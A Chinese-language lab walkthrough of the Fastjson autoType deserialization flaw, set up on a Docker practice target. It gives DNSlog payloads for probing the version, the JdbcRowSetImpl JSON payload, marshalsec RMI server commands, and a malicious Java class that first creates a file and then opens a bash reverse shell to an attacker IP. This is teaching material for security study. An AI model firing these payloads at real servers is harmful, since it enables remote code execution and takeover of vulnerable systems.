Fastjson反序列化漏洞原理与漏洞复现
环境开启
环境已经加载了镜像
通过docker ps -a 查看
1 2 3
| docker ps -a docker ps <容器id> docker start 7c5637022711
|
这里映射的端口10004
一、什么是Fastjson
Fastjson是一个Java库,用于在Java对象和Json数据之间进行切换,它提供了一种简单而高效的方式来序列化Java对象为JSON格式的字符串,以及将JSON字符串反序列化为Java对象。Fastjson支持各种类型的Java对象,包括预先存在但没有源代码的对象。
二、漏洞原理
fastjson在解析Json数据时存在自动类型转换功能(autoType),利用该功能构造恶意JSON数据,使其在反序列化过程种触发漏洞利用链,从而实现恶意代码的执行。
详细过程分析:
- 目标网站在解析JSON数据时,未对JSON内容进行验证,直接将JSON解析成Java对象并执行。
- 攻击者构造特定的payload(负载),其中包含恶意的Java对象及执行代码。
- 攻击者控制URL参数为之前开启的恶意RMI服务器地址,或者通过其他方式将恶意JSON数据传递给目标网站。
- 恶意RMI服务器返回ReferenceWrapper类,这是Java远程方法调用(RMI)中的一种对象类型。
- 目标网站在执行lookup操作时,通过decodeObject方法将ReferenceWrapper类转换成Reference类,然后远程加载并实例化攻击者恶意构造的Factory类,这个Factory类通常包含了恶意代码的执行逻辑,在实例化时触发Factory类中的静态代码段,从而执行恶意代码。
三、影响版本
受影响版本范围:fastjson<=1.2.24
四、漏洞验证
使用burpsuite抓包

修改请求方式为POST方式
这里通过DNS请求判断
以下POC出网,说明fastjson<=1.2.47
1
| {"name":{"@type":"java.net.InetAddress","val":"xxxxx.dnslog.cn"}}
|

申请一个
1
| {"name":{"@type":"java.net.InetAddress","val":"5b29t3.dnslog.cn"}}
|

content-type记得改为json


refresh接收
以下如果POC出网,说明fastjson>=1.2.37
1
| {{"@type":"java.net.URL","val":"http://5b29t3.dnslog.cn"}:"aaa"}
|
重复上述操作

报错了,而且dnslog没有回显
以下如果POC出网,证明fastjson版本号1.1.16<=version<=1.2.24
1
| {"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://lhe451.dnslog.cn:9999/POC","autoCommit":true}}
|


报错了,但是我们成功接收,确定了版本范围。
五、漏洞利用
使用攻击机linux(Ubuntu)安装好marshalsec
命令执行
首先编译恶意类代码,在攻击机商新建一个名为TouchFile.java的文件
内容为:
该代码尝试在靶场的/tmp目录下创建一个名为myon的文件
1 2 3 4
| cd /root mkdir web cd web nano TouchFile.java
|
恶意代码内容为
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"touch", "/tmp/myon"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) {
} } }
|
编译

执行完成后我们得到一个.class文件
在该目录下使用python搭建http服务,传输恶意文件
这里开分屏,分个终端,使用tmux(ctrl+b+%)
分屏
第二个终端用 python 搭建 http 服务,传输恶意文件
1 2
| cd /root/web python3 -m http.server 8888
|

这里靶机访问其 8888 端口就可以看到恶意文件

ctrl+b+方向键
回到第一个终端
接下来我们通过 marshalsec 启动一个 RMI 服务器,监听 1234 端口
并指定加载远程类 TouchFile.class
其中 ip 为攻击机的 ip ,端口号为我们刚才开启的 http 服务端口号,结尾端口号为监听端口号
1 2
| cd /root/marshalsec/target java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.x.x.x:8888/#TouchFile" 1234
|

然后我们在攻击机请求靶场地址:http://101.x.x.x:10004/,并且使用 burpsuite 抓包

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| POST / HTTP/1.1 Host: 101.x.x.x:10004 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Connection: keep-alive Upgrade-Insecure-Requests: 1 Priority: u=0, i Content-Type: application/json Content-Length: 165
{ "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://39.x.x.x:1234/TouchFile", "autoCommit":true } }
|
再次查看 RMI 服务器,可以看到已经发送了 TouchFile.class

而我们监听的 http 服务 8888 端口也有回显:
101.xx.xx.x(靶机)访问了我们 http 服务下存放的恶意文件 TouchFile.class
我们进入靶机 docker 容器看一下:
进入靶机shell
1
| docker exec -it 7c5637022711 /bin/bash
|

可以看到 myon 文件创建成功,也就是说我们远程命令执行成功
反弹shell
方法与命令执行一样,修改我们的恶意文件即可
在攻击机上修改我们的恶意文件 TouchFile.java,内容为:
其中的 ip 为攻击机 ip ,反弹 shell 到攻击机 7788 端口
进入第二个终端
1 2
| cd /root/web nano TouchFile.java
|
里面是攻击机IP(vps)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash", "-c", "bash -i >& /dev/tcp/39.x.x.x/7788 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { } } }
|
同样进行编译

同一目录下就会生成或重写 .class文件
此终端,第二个终端执行
1
| python3 -m http.server 8888
|
ctrl+b+方向键切换回第一个终端
还是target目录下,和上面一样
1
| java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://39.x.x.x:8888/#TouchFile" 1234
|

但是前面恶意代码里我们说了,我们要反弹 shell 到攻击机的 7788 端口
所以我们再开一个终端,监听 7788 端口
我们在第三个终端执行nc监听,ctrl+b+方向键

此时,访问靶场地址,使用 burpsuite 抓包,添加 payload 后发包:
没有burp,可以以curl为准
开启第四个终端ctrl+b+% 并输入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| curl -X POST http://101.x.x.x:10004 \ -H "Accept-Encoding: gzip, deflate" \ -H "Accept: */*" \ -H "Accept-Language: en" \ -H "User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)" \ -H "Connection: close" \ -H "Content-Type: application/json" \ -d '{ "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "rmi://39.x.1x.x:1234/TouchFile", "autoCommit": true } }'
|

这时我们第三个终端监听的端口反弹了shell
